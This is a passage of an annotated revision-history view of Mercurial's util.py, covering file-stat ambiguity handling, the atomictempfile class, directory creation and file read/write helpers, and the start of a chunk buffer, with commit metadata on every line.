util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1731 except AttributeError: |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1732 return False |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
1733 |
30319
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
1734 def avoidambig(self, path, old): |
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
1735 """Change file stat of specified path to avoid ambiguity |
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
1736 |
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
1737 'old' should be previous filestat of 'path'. |
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
1738 |
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
1739 This skips avoiding ambiguity, if a process doesn't have |
32746
77f354ae1123
util: make filestat.avoidambig() return whether ambiguity is avoided or not
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
32652
diff
changeset
|
1740 appropriate privileges for 'path'. This returns False in this |
77f354ae1123
util: make filestat.avoidambig() return whether ambiguity is avoided or not
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
32652
diff
changeset
|
1741 case. |
77f354ae1123
util: make filestat.avoidambig() return whether ambiguity is avoided or not
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
32652
diff
changeset
|
1742 |
77f354ae1123
util: make filestat.avoidambig() return whether ambiguity is avoided or not
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
32652
diff
changeset
|
1743 Otherwise, this returns True, as "ambiguity is avoided". |
30319
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
1744 """ |
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
1745 advanced = (old.stat.st_mtime + 1) & 0x7fffffff |
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
1746 try: |
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
1747 os.utime(path, (advanced, advanced)) |
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
1748 except OSError as inst: |
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
1749 if inst.errno == errno.EPERM: |
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
1750 # utime() on the file created by another user causes EPERM, |
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
1751 # if a process doesn't have appropriate privileges |
32746
77f354ae1123
util: make filestat.avoidambig() return whether ambiguity is avoided or not
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
32652
diff
changeset
|
1752 return False |
30319
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
1753 raise |
32746
77f354ae1123
util: make filestat.avoidambig() return whether ambiguity is avoided or not
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
32652
diff
changeset
|
1754 return True |
30319
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
1755 |
29298
82f6193ff2bc
util: add __ne__ to filestat class for consistency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29261
diff
changeset
|
1756 def __ne__(self, other): |
82f6193ff2bc
util: add __ne__ to filestat class for consistency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29261
diff
changeset
|
1757 return not self == other |
82f6193ff2bc
util: add __ne__ to filestat class for consistency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29261
diff
changeset
|
1758 |
8778
c5f36402daad
use new style classes
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
8631
diff
changeset
|
1759 class atomictempfile(object): |
17424
e7cfe3587ea4
fix trivial spelling errors
Mads Kiilerich <mads@kiilerich.com>
parents:
17391
diff
changeset
|
1760 '''writable file object that atomically updates a file |
4827
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1761 |
14008
da65edcac72a
atomictempfile: rewrite docstring to clarify rename() vs. close().
Greg Ward <greg@gerg.ca>
parents:
14007
diff
changeset
|
1762 All writes will go to a temporary copy of the original file. Call |
15057
774da7121fc9
atomictempfile: make close() consistent with other file-like objects.
Greg Ward <greg@gerg.ca>
parents:
15050
diff
changeset
|
1763 close() when you are done writing, and atomictempfile will rename |
774da7121fc9
atomictempfile: make close() consistent with other file-like objects.
Greg Ward <greg@gerg.ca>
parents:
15050
diff
changeset
|
1764 the temporary copy to the original name, making the changes |
774da7121fc9
atomictempfile: make close() consistent with other file-like objects.
Greg Ward <greg@gerg.ca>
parents:
15050
diff
changeset
|
1765 visible. If the object is destroyed without being closed, all your |
774da7121fc9
atomictempfile: make close() consistent with other file-like objects.
Greg Ward <greg@gerg.ca>
parents:
15050
diff
changeset
|
1766 writes are discarded. |
29367
4e6e280e238f
doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29342
diff
changeset
|
1767 |
4e6e280e238f
doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29342
diff
changeset
|
1768 checkambig argument of constructor is used with filestat, and is |
4e6e280e238f
doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29342
diff
changeset
|
1769 useful only if target file is guarded by any lock (e.g. repo.lock |
4e6e280e238f
doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29342
diff
changeset
|
1770 or repo.wlock). |
14008
da65edcac72a
atomictempfile: rewrite docstring to clarify rename() vs. close().
Greg Ward <greg@gerg.ca>
parents:
14007
diff
changeset
|
1771 ''' |
29201
a109bf7e0dc2
util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29200
diff
changeset
|
1772 def __init__(self, name, mode='w+b', createmode=None, checkambig=False): |
14007
d764463b433e
atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents:
14004
diff
changeset
|
1773 self.__name = name # permanent name |
d764463b433e
atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents:
14004
diff
changeset
|
1774 self._tempname = mktempcopy(name, emptyok=('w' in mode), |
d764463b433e
atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents:
14004
diff
changeset
|
1775 createmode=createmode) |
d764463b433e
atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents:
14004
diff
changeset
|
1776 self._fp = posixfile(self._tempname, mode) |
29201
a109bf7e0dc2
util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29200
diff
changeset
|
1777 self._checkambig = checkambig |
8327
aa25be1c2889
atomictempfile: delegate to posixfile instead of inheriting from it
Bryan O'Sullivan <bos@serpentine.com>
parents:
8312
diff
changeset
|
1778 |
14007
d764463b433e
atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents:
14004
diff
changeset
|
1779 # delegated methods |
29393
50269a4dce61
atomictempfile: add read to the supported file operations
Martijn Pieters <mjpieters@fb.com>
parents:
29367
diff
changeset
|
1780 self.read = self._fp.read |
14007
d764463b433e
atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents:
14004
diff
changeset
|
1781 self.write = self._fp.write |
17237
e73128535105
util: delegate seek and tell methods of atomictempfile
Bryan O'Sullivan <bryano@fb.com>
parents:
17203
diff
changeset
|
1782 self.seek = self._fp.seek |
e73128535105
util: delegate seek and tell methods of atomictempfile
Bryan O'Sullivan <bryano@fb.com>
parents:
17203
diff
changeset
|
1783 self.tell = self._fp.tell |
14007
d764463b433e
atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents:
14004
diff
changeset
|
1784 self.fileno = self._fp.fileno |
4827
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1785 |
15057
774da7121fc9
atomictempfile: make close() consistent with other file-like objects.
Greg Ward <greg@gerg.ca>
parents:
15050
diff
changeset
|
1786 def close(self): |
8785
7a9151bc5b37
atomictempfile: fix exception in __del__ if mktempcopy fails (self._fp is None)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
8778
diff
changeset
|
1787 if not self._fp.closed: |
8327
aa25be1c2889
atomictempfile: delegate to posixfile instead of inheriting from it
Bryan O'Sullivan <bos@serpentine.com>
parents:
8312
diff
changeset
|
1788 self._fp.close() |
29201
a109bf7e0dc2
util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29200
diff
changeset
|
1789 filename = localpath(self.__name) |
32772
7ad95626f6a7
filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents:
32749
diff
changeset
|
1790 oldstat = self._checkambig and filestat.frompath(filename) |
29201
a109bf7e0dc2
util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29200
diff
changeset
|
1791 if oldstat and oldstat.stat: |
a109bf7e0dc2
util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29200
diff
changeset
|
1792 rename(self._tempname, filename) |
32772
7ad95626f6a7
filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents:
32749
diff
changeset
|
1793 newstat = filestat.frompath(filename) |
29201
a109bf7e0dc2
util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29200
diff
changeset
|
1794 if newstat.isambig(oldstat): |
a109bf7e0dc2
util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29200
diff
changeset
|
1795 # stat of changed file is ambiguous to original one |
a109bf7e0dc2
util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29200
diff
changeset
|
1796 advanced = (oldstat.stat.st_mtime + 1) & 0x7fffffff |
a109bf7e0dc2
util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29200
diff
changeset
|
1797 os.utime(filename, (advanced, advanced)) |
a109bf7e0dc2
util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29200
diff
changeset
|
1798 else: |
a109bf7e0dc2
util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29200
diff
changeset
|
1799 rename(self._tempname, filename) |
4827
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1800 |
15057
774da7121fc9
atomictempfile: make close() consistent with other file-like objects.
Greg Ward <greg@gerg.ca>
parents:
15050
diff
changeset
|
1801 def discard(self): |
8785
7a9151bc5b37
atomictempfile: fix exception in __del__ if mktempcopy fails (self._fp is None)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
8778
diff
changeset
|
1802 if not self._fp.closed: |
4827
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1803 try: |
14007
d764463b433e
atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents:
14004
diff
changeset
|
1804 os.unlink(self._tempname) |
d764463b433e
atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents:
14004
diff
changeset
|
1805 except OSError: |
d764463b433e
atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents:
14004
diff
changeset
|
1806 pass |
8327
aa25be1c2889
atomictempfile: delegate to posixfile instead of inheriting from it
Bryan O'Sullivan <bos@serpentine.com>
parents:
8312
diff
changeset
|
1807 self._fp.close() |
4827
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
1808 |
13098
f7d6750dcd01
util: make atomicfiles closable
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
13072
diff
changeset
|
1809 def __del__(self): |
14968
b7dbe957585c
util: use safehasattr or getattr instead of hasattr
Augie Fackler <durin42@gmail.com>
parents:
14942
diff
changeset
|
1810 if safehasattr(self, '_fp'): # constructor actually did something |
15057
774da7121fc9
atomictempfile: make close() consistent with other file-like objects.
Greg Ward <greg@gerg.ca>
parents:
15050
diff
changeset
|
1811 self.discard() |
13098
f7d6750dcd01
util: make atomicfiles closable
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
13072
diff
changeset
|
1812 |
29394
6d96658a22b0
atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents:
29393
diff
changeset
|
1813 def __enter__(self): |
6d96658a22b0
atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents:
29393
diff
changeset
|
1814 return self |
6d96658a22b0
atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents:
29393
diff
changeset
|
1815 |
6d96658a22b0
atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents:
29393
diff
changeset
|
1816 def __exit__(self, exctype, excvalue, traceback): |
6d96658a22b0
atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents:
29393
diff
changeset
|
1817 if exctype is not None: |
6d96658a22b0
atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents:
29393
diff
changeset
|
1818 self.discard() |
6d96658a22b0
atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents:
29393
diff
changeset
|
1819 else: |
6d96658a22b0
atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents:
29393
diff
changeset
|
1820 self.close() |
6d96658a22b0
atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents:
29393
diff
changeset
|
1821 |
31539 | 1822 def unlinkpath(f, ignoremissing=False): |
1823 """unlink and remove the directory if it is empty""" | |
31541
bd9daafbf87c
util: use tryunlink in unlinkpath
Ryan McElroy <rmcelroy@fb.com>
parents:
31540
diff
changeset
|
1824 if ignoremissing: |
bd9daafbf87c
util: use tryunlink in unlinkpath
Ryan McElroy <rmcelroy@fb.com>
parents:
31540
diff
changeset
|
1825 tryunlink(f) |
bd9daafbf87c
util: use tryunlink in unlinkpath
Ryan McElroy <rmcelroy@fb.com>
parents:
31540
diff
changeset
|
1826 else: |
31539 | 1827 unlink(f) |
1828 # try removing directories that might now be empty | |
1829 try: | |
1830 removedirs(os.path.dirname(f)) | |
1831 except OSError: | |
1832 pass | |
1833 | |
31540
6d5b77abf306
util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents:
31539
diff
changeset
|
1834 def tryunlink(f): |
6d5b77abf306
util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents:
31539
diff
changeset
|
1835 """Attempt to remove a file, ignoring ENOENT errors.""" |
6d5b77abf306
util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents:
31539
diff
changeset
|
1836 try: |
6d5b77abf306
util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents:
31539
diff
changeset
|
1837 unlink(f) |
6d5b77abf306
util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents:
31539
diff
changeset
|
1838 except OSError as e: |
6d5b77abf306
util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents:
31539
diff
changeset
|
1839 if e.errno != errno.ENOENT: |
6d5b77abf306
util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents:
31539
diff
changeset
|
1840 raise |
6d5b77abf306
util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents:
31539
diff
changeset
|
1841 |
18938
e22107cff6bf
util: add notindexed optional parameter to makedirs function
Angel Ezquerra <angel.ezquerra@gmail.com>
parents:
18930
diff
changeset
|
1842 def makedirs(name, mode=None, notindexed=False): |
29017
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
1843 """recursive directory creation with parent mode inheritance |
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
1844 |
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
1845 Newly created directories are marked as "not to be indexed by |
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
1846 the content indexing service", if ``notindexed`` is specified |
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
1847 for "write" mode access. |
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
1848 """ |
6062
3c3b126e5619
Make files in .hg inherit the permissions from .hg/store
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
6007
diff
changeset
|
1849 try: |
18938
e22107cff6bf
util: add notindexed optional parameter to makedirs function
Angel Ezquerra <angel.ezquerra@gmail.com>
parents:
18930
diff
changeset
|
1850 makedir(name, notindexed) |
25660
328739ea70c3
global: mass rewrite to use modern exception syntax
Gregory Szorc <gregory.szorc@gmail.com>
parents:
25420
diff
changeset
|
1851 except OSError as err: |
6062
3c3b126e5619
Make files in .hg inherit the permissions from .hg/store
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
6007
diff
changeset
|
1852 if err.errno == errno.EEXIST: |
3c3b126e5619
Make files in .hg inherit the permissions from .hg/store
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
6007
diff
changeset
|
1853 return |
15058
81f33be0ea79
util: postpone and reorder parent calculation in makedirs
Adrian Buehlmann <adrian@cadifra.com>
parents:
15057
diff
changeset
|
1854 if err.errno != errno.ENOENT or not name: |
81f33be0ea79
util: postpone and reorder parent calculation in makedirs
Adrian Buehlmann <adrian@cadifra.com>
parents:
15057
diff
changeset
|
1855 raise |
81f33be0ea79
util: postpone and reorder parent calculation in makedirs
Adrian Buehlmann <adrian@cadifra.com>
parents:
15057
diff
changeset
|
1856 parent = os.path.dirname(os.path.abspath(name)) |
81f33be0ea79
util: postpone and reorder parent calculation in makedirs
Adrian Buehlmann <adrian@cadifra.com>
parents:
15057
diff
changeset
|
1857 if parent == name: |
6062
3c3b126e5619
Make files in .hg inherit the permissions from .hg/store
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
6007
diff
changeset
|
1858 raise |
18938
e22107cff6bf
util: add notindexed optional parameter to makedirs function
Angel Ezquerra <angel.ezquerra@gmail.com>
parents:
18930
diff
changeset
|
1859 makedirs(parent, mode, notindexed) |
29017
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
1860 try: |
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
1861 makedir(name, notindexed) |
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
1862 except OSError as err: |
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
1863 # Catch EEXIST to handle races |
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
1864 if err.errno == errno.EEXIST: |
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
1865 return |
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
1866 raise |
18678
423eee0b0b14
util: make ensuredirs safer against races
Bryan O'Sullivan <bryano@fb.com>
parents:
18668
diff
changeset
|
1867 if mode is not None: |
423eee0b0b14
util: make ensuredirs safer against races
Bryan O'Sullivan <bryano@fb.com>
parents:
18668
diff
changeset
|
1868 os.chmod(name, mode) |
18668
4034b8d551b1
scmutil: create directories in a race-safe way during update
Bryan O'Sullivan <bryano@fb.com>
parents:
18614
diff
changeset
|
1869 |
14099
0824a0a3cefc
util: add readfile() & writefile() helper functions
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
14077
diff
changeset
|
1870 def readfile(path): |
27778
4d10600c3f08
util: simplify file I/O functions using context managers
Bryan O'Sullivan <bryano@fb.com>
parents:
27768
diff
changeset
|
1871 with open(path, 'rb') as fp: |
14100
3e9e02a41dfb
util: really drop size from readfile
Matt Mackall <mpm@selenic.com>
parents:
14099
diff
changeset
|
1872 return fp.read() |
14099
0824a0a3cefc
util: add readfile() & writefile() helper functions
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
14077
diff
changeset
|
1873 |
14167
0e4753807c93
util & scmutil: adapt read/write helpers as request by mpm
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
14147
diff
changeset
|
1874 def writefile(path, text): |
27778
4d10600c3f08
util: simplify file I/O functions using context managers
Bryan O'Sullivan <bryano@fb.com>
parents:
27768
diff
changeset
|
1875 with open(path, 'wb') as fp: |
14167
0e4753807c93
util & scmutil: adapt read/write helpers as request by mpm
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
14147
diff
changeset
|
1876 fp.write(text) |
0e4753807c93
util & scmutil: adapt read/write helpers as request by mpm
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
14147
diff
changeset
|
1877 |
0e4753807c93
util & scmutil: adapt read/write helpers as request by mpm
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
14147
diff
changeset
|
1878 def appendfile(path, text): |
27778
4d10600c3f08
util: simplify file I/O functions using context managers
Bryan O'Sullivan <bryano@fb.com>
parents:
27768
diff
changeset
|
1879 with open(path, 'ab') as fp: |
14099
0824a0a3cefc
util: add readfile() & writefile() helper functions
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
14077
diff
changeset
|
1880 fp.write(text) |
0824a0a3cefc
util: add readfile() & writefile() helper functions
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
14077
diff
changeset
|
1881 |
1199
78ceaf83f28f
Created a class in util called chunkbuffer that buffers reads from an
Eric Hopper <hopper@omnifarious.org>
parents:
1169
diff
changeset
|
1882 class chunkbuffer(object): |
78ceaf83f28f
Created a class in util called chunkbuffer that buffers reads from an
Eric Hopper <hopper@omnifarious.org>
parents:
1169
diff
changeset
|
1883 """Allow arbitrary sized chunks of data to be efficiently read from an |
78ceaf83f28f
Created a class in util called chunkbuffer that buffers reads from an
Eric Hopper <hopper@omnifarious.org>
parents:
1169
diff
changeset
|
1884 iterator over chunks of arbitrary size.""" |
1200 | 1885 |
5446
fa836e050c50
chunkbuffer: removed unused method and arg
Matt Mackall <mpm@selenic.com>
parents:
5420
diff
changeset
|
1886 def __init__(self, in_iter): |
32123
5f53c267e362
util: remove doc of long gone 'targetsize' argument
Martin von Zweigbergk <martinvonz@google.com>
parents:
31952
diff
changeset
|
1887 """in_iter is the iterator that's iterating over the input chunks.""" |
11670
1b3b843e1100
chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
11668
diff
changeset
|
1888 def splitbig(chunks): |
1b3b843e1100
chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
11668
diff
changeset
|
1889 for chunk in chunks: |
1b3b843e1100
chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
11668
diff
changeset
|
1890 if len(chunk) > 2**20: |
1b3b843e1100
chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
11668
diff
changeset
|
1891 pos = 0 |
1b3b843e1100
chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
11668
diff
changeset
|
1892 while pos < len(chunk): |
1b3b843e1100
chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
11668
diff
changeset
|
1893 end = pos + 2 ** 18 |
1b3b843e1100
chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
11668
diff
changeset
|
1894 yield chunk[pos:end] |
1b3b843e1100
chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
11668
diff
changeset
|
1895 pos = end |
1b3b843e1100
chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
11668
diff
changeset
|
1896 else: |
1b3b843e1100
chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
11668
diff
changeset
|
1897 yield chunk |
1b3b843e1100
chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
11668
diff
changeset
|
1898 self.iter = splitbig(in_iter) |
25113
0ca8410ea345
util: drop alias for collections.deque
Martin von Zweigbergk <martinvonz@google.com>
parents:
25112
diff
changeset
|
1899 self._queue = collections.deque() |
26480
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
1900 self._chunkoffset = 0 |
1200 | 1901 |
21018
c848bfd02366
util: support None size in chunkbuffer.read()
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
20835
diff
changeset
|
1902 def read(self, l=None): |
1200 | 1903 """Read L bytes of data from the iterator of chunks of data. |
21018
c848bfd02366
util: support None size in chunkbuffer.read()
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
20835
diff
changeset
|
1904 Returns less than L bytes if the iterator runs dry. |
c848bfd02366
util: support None size in chunkbuffer.read()
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
20835
diff
changeset
|
1905 |
23139
e53f6b72a0e4
spelling: fixes from proofreading of spell checker issues
Mads Kiilerich <madski@unity3d.com>
parents:
23097
diff
changeset
|
1906 If size parameter is omitted, read everything""" |
26478
a3f7e5461dbd
util.chunkbuffer: special case reading everything
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26450
diff
changeset
|
1907 if l is None: |
a3f7e5461dbd
util.chunkbuffer: special case reading everything
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26450
diff
changeset
|
1908 return ''.join(self.iter) |
a3f7e5461dbd
util.chunkbuffer: special case reading everything
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26450
diff
changeset
|
1909 |
11758
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
changeset
|
1910 left = l |
17962
4c29668ca316
util: make chunkbuffer non-quadratic on Windows
Matt Mackall <mpm@selenic.com>
parents:
17560
diff
changeset
|
1911 buf = [] |
16873
37e081609828
util: simplify queue management in chunkbuffer
Bryan O'Sullivan <bryano@fb.com>
parents:
16834
diff
changeset
|
1912 queue = self._queue |
26478
a3f7e5461dbd
util.chunkbuffer: special case reading everything
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26450
diff
changeset
|
1913 while left > 0: |
11758
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
changeset
|
1914 # refill the queue |
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
changeset
|
1915 if not queue: |
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
changeset
|
1916 target = 2**18 |
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
changeset
|
